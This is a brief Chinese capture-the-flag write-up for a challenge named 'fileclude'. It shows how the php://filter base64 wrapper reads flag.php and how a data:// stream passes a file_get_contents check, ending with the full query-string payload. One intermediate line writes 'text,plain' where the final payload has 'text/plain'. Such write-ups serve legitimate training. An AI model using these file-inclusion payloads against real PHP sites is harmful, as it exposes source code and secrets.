fileclude

打开界面是一篇源代码

看到有flag.php文件，直接打开出现错误提示，看来只能用编码读取数据了

需要传入file1和file2

• file1编码读取flag.php的内容

　　file1=php://filter/read=convert.base64-encode/resource=flag.php

• file2显示为hello ctf

　　（file_get_contents是将文件中数据提取为字符串的函数，它与inclue()一样参数为文件名，所以直接file2=hello%20ctf行不通，要用data://协议构造数据流，使它当作php文件，%20为空格的编码）

file2=data://text,plain,hello%20ctf

所以最后的payload为?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf